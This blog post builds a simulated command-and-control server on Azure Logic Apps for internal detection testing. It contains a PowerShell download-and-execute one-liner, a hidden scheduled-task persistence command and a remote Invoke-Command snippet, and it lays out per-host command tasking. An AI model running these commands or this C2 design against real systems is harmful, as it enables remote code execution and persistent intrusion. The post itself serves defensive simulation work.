Bad Logic App – C2 Simulation

Azure Logic Apps: How It Works and Benefits Developers?
Image Source:

Recently I’m falling in love with Azures Logic Apps and had a thought on how to turn them into a C2 simulation. Running attack simulations internally is very important to build/improve security posture. C2 servers are very common in the wild so always good to see how they would “react” in your environment.  Rather than using pre-built open-source, on occasion, I like to take it upon myself to create the “thing” from scratch.

My design uses Azure logic apps and a storage account to do the heavy lifting and only requires the clients to be able to hit the URL (API call).

If you are wanting to follow along or are curious to find out more about the technology, Microsoft does post a lot of documentation on both.

To begin, we create a storage account and file share. This is going to host our files for commands. If you are going to do something different, such as using a DB or other means, this bit could be skipped. Below I’ve created my storage account and share:

Next, create the Logic App and let’s start with adding “When a HTTP request is received”.

This will allow us to trigger the logic app once a client has made the API call. For me, I’m going to separate them however, at this point, you could just set a response for a blanket C2 command. To do so, you would just add on a response action and include the script or command in the body.

Then from your client, you can run the following in Powershell to run the command:

Powershell –nop –c “iex(New-Object Net.WebClient).DownloadString(‘  Your URL Goes Here ‘)”

If you are unfamiliar with Logic apps, to get the URL, you will need to first save, then reload the HTTP request action. Here it will show you your URL.

For myself, I wanted to create something a little more complex as we may want to set certain commands per host; like what a C2 does. This is to simulate a real-life attack after all.

For this, I’ve set a relative path and added the values below. For attackers, if they were to use this, I suspect they would either keep it short (avoid character limitations) or long (obscure). Whatever you set here, the logic app will update the URL once saved.

It will appear just after …/invoke/ [your bit here] ?api-version…

I’m wanting to have the option to customize the commands per host so I’m going to break them out. To do this, I’m going to use simple text files however there is a huge range of options out there such as DBs, Storage Tables etc…  

Because we are using files, I’m wanting to create an Initialize Variable action that I can use as part of my conditions later on. 

Next, we will add the List Files action which will query our file share to see if a file exists. If it does, we can populate the variable we just created. I found the direct query options to be no good, so instead, I’m using the list option and wrapping conditions around it. It may work for you but for myself and others founds in forums; it’s not good.

What it looks like in my storage account/file share:

This is our first set of logical conditions.

Because we may have many files, for each value we have, we will need to check to see if one matches our values passed in the URL (../1/{workstation}…). To do this, we create a Foreach condition and pass the value taken from our List Files action.

It will then check each one and if one matches the workstation passed in the API call, it will populate the variable FileExists:

If False, it will do nothing. This is because if it churns through 100 files, I don’t want it wasting energy as I don’t care about them at the time of the API call.

Now we have some logic to determine if a client has made the call before and if not; create a file so that we have a record of it:

To make this happen, we check the result of our ForEach check.

If it returned nothing, then the client must be new, so our logic will be that we create a file recording the workstations name.

The Response action is optional here but it’s nice to check if the outcome was expected. After all, this is just a simulation.

As you can see, once we hit the URL for the first time, we get this response. Again, this is just because I like to see if it’s worked.

The next time this client makes the same call, it will filter through the true side of the condition.

At this stage, the logic app knows that it’s hit this URL before and there is a file present. Because of this, we can get the content from that file. Because I don’t want the “infected” machine to run commands unless I’ve set something, it responds with “New Host”.

The reason it does this is that the text file we created on first connect is set with the content “Blank”. What this is saying is that If the text files content is still set to “Blank”, the “infected” machine doesn’t have a command yet. This is just a simple way to stop the workstations from running unnecessary commands and help troubleshoot.   

The above shows the condition check, and as mentioned, it will filter down and respond.

If not, it will mean that we have set command and we want the “infected” machine to run the code:

Because we set the commands within the text files, we have the logic app pass the contents in the response. This allows it to be dynamic.

Let’s run through this.

I have a new machine and hit the API; this creates a file. On the next call, my machine has no commands as it has no command to run yet:

I then edit my file, either through mapping the drive locally, or uploading via the web:

When we run the same command, we get the content:

Of course, this isn’t running the command, but instead showing the response. Instead, we want it to execute whatever is inside its text file.

We can do it in several ways. A quick example (You will need to be careful with the {} part depending on how you are making the call):

This is a simple example and not something to that would be ran in the wild. If we look at IOC examples, the commands in the wild are similar to:

powershell –nop –c “iex(New-Object Net.WebClient).DownloadString(‘ The URL HERE )”

If you are wanting to match this, why not include it in your script.

When you are wanting to do this on a scale, there are multiple ways to do so. The good news is that this is a simulation so you can use your deployment tools to run this, or purely manual to see what you can see.

It’s really good to see if you can see each stage of “The attack”. For example, can you see the history of the one-liner in event view? Can you see the API call in your FW traffic or local logs, can you see the executed command it “downloaded”?

I’ve found running these scenarios and asking these questions does pay off.


Normally in these types of situations, the C2 works as the connections are persistent. To help you achieve this, attackers may use scheduled tasks with commands such as:

“C:\Windows\system32\schtasks.exe” /create /sc MINUTE /mo 60 /tn /tr “powershell -w hidden -c XXX”

If you are wanting to go down this route, using the URL commands shown above won’t work. This is because of character limitations. That being said, polling the URL from a file, another URL or applying a custom domain may help you get around the problem.


If you don’t want to deploy or hide it inside of an executable, you could test your remote execution policies whilst you are running your simulation. To do so, you could use Powershell to first check if WSMAN is running and if so, execute the command. It would look something like this:

If ((Test-WSMan -ComputerName XXXX -ErrorAction SilentlyContinue) -ne $null){ Invoke-Command -ComputerName XXXX -ScriptBlock {Invoke-WebRequest -URI Https://} }


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Create a website or blog at

%d bloggers like this: